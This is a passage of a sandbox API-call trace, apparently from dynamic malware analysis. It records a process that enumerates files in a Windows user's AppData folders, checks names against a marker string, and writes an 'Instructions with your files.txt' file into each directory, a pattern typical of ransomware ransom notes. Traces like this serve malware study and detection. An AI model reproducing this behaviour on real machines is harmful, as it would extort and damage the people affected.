[0131.128] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bfe570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bfe570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe9b34f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", cAlternateFileName="ACF244~1")) returned 1
[0131.128] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned 152
[0131.128] StrStrIW (lpFirst="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", lpSrch="SDfghjkl") returned 0x0
[0131.128] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe04aaa10, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe04aaa10, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xae4e7080, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", cAlternateFileName="B3BB9C~2")) returned 1
[0131.128] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned 152
[0131.128] StrStrIW (lpFirst="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", lpSrch="SDfghjkl") returned 0x0
[0131.128] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefc01b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefc01b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaa4ee1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", cAlternateFileName="B3BB9C~1")) returned 1
[0131.128] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned 152
[0131.128] StrStrIW (lpFirst="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", lpSrch="SDfghjkl") returned 0x0
[0131.128] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54322770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54322770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x204, dwReserved0=0x0, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", cAlternateFileName="BC570E~2")) returned 1
[0131.128] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned 152
[0131.128] StrStrIW (lpFirst="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", lpSrch="SDfghjkl") returned 0x0
[0131.128] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x204, dwReserved0=0x0, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", cAlternateFileName="BC570E~1")) returned 1
[0131.129] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned 152
[0131.129] StrStrIW (lpFirst="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", lpSrch="SDfghjkl") returned 0x0
[0131.129] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x56bb3b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x56bb3b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaeca3800, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", cAlternateFileName="C46E7B~2")) returned 1
[0131.129] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned 152
[0131.129] StrStrIW (lpFirst="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", lpSrch="SDfghjkl") returned 0x0
[0131.129] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x682fbd00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x682fbd00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae0bca00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", cAlternateFileName="C46E7B~3")) returned 1
[0131.129] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned 152
[0131.129] StrStrIW (lpFirst="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", lpSrch="SDfghjkl") returned 0x0
[0131.129] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5461c2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5461c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf67eb30, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", cAlternateFileName="C46E7B~1")) returned 1
[0131.129] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned 152
[0131.129] StrStrIW (lpFirst="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", lpSrch="SDfghjkl") returned 0x0
[0131.129] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x728c68a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x728c68a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xae63dce0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x0, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", cAlternateFileName="D47DBD~2")) returned 1
[0131.129] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned 152
[0131.129] StrStrIW (lpFirst="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", lpSrch="SDfghjkl") returned 0x0
[0131.129] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x545f6190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x545f6190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69b6e1e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0x0, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", cAlternateFileName="D47DBD~1")) returned 1
[0131.129] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned 152
[0131.129] StrStrIW (lpFirst="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", lpSrch="SDfghjkl") returned 0x0
[0131.129] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x808d4a70, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x808d4a70, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x808d4a70, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", cAlternateFileName="D52C56~1")) returned 1
[0131.129] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned 152
[0131.129] StrStrIW (lpFirst="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", lpSrch="SDfghjkl") returned 0x0
[0131.129] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x683e0540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x683e0540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f015a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x0, dwReserved1=0x0, cFileName="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", cAlternateFileName="EA6180~1")) returned 1
[0131.129] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned 152
[0131.129] StrStrIW (lpFirst="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", lpSrch="SDfghjkl") returned 0x0
[0131.129] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf312b90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf312b90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf312b90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", cAlternateFileName="F293AE~1")) returned 1
[0131.129] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned 152
[0131.129] StrStrIW (lpFirst="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", lpSrch="SDfghjkl") returned 0x0
[0131.129] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 1
[0131.129] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F90F18257CBB4D84216AC1E1F3BB2C76") returned 119
[0131.129] StrStrIW (lpFirst="F90F18257CBB4D84216AC1E1F3BB2C76", lpSrch="SDfghjkl") returned 0x0
[0131.129] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 0
[0131.129] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\Instructions with your files.txt") returned 119
[0131.130] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.130] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.131] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.131] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.131] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.131] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.131] CloseHandle (hObject=0x11c) returned 1
[0131.131] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.131] GetProcessHeap () returned 0x810000
[0131.131] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.131] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 0
[0131.132] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Instructions with your files.txt") returned 110
[0131.132] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.132] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.133] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.133] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.133] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.133] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.133] CloseHandle (hObject=0x118) returned 1
[0131.133] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.133] GetProcessHeap () returned 0x810000
[0131.133] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.134] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IME12", cAlternateFileName="")) returned 1
[0131.134] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12") returned 66
[0131.135] GetProcessHeap () returned 0x810000
[0131.135] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.135] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\*") returned 68
[0131.135] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.136] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\.") returned 68
[0131.136] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.136] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\..") returned 69
[0131.136] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.136] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\Instructions with your files.txt") returned 99
[0131.136] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\ime12\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.137] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.138] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.138] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.138] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
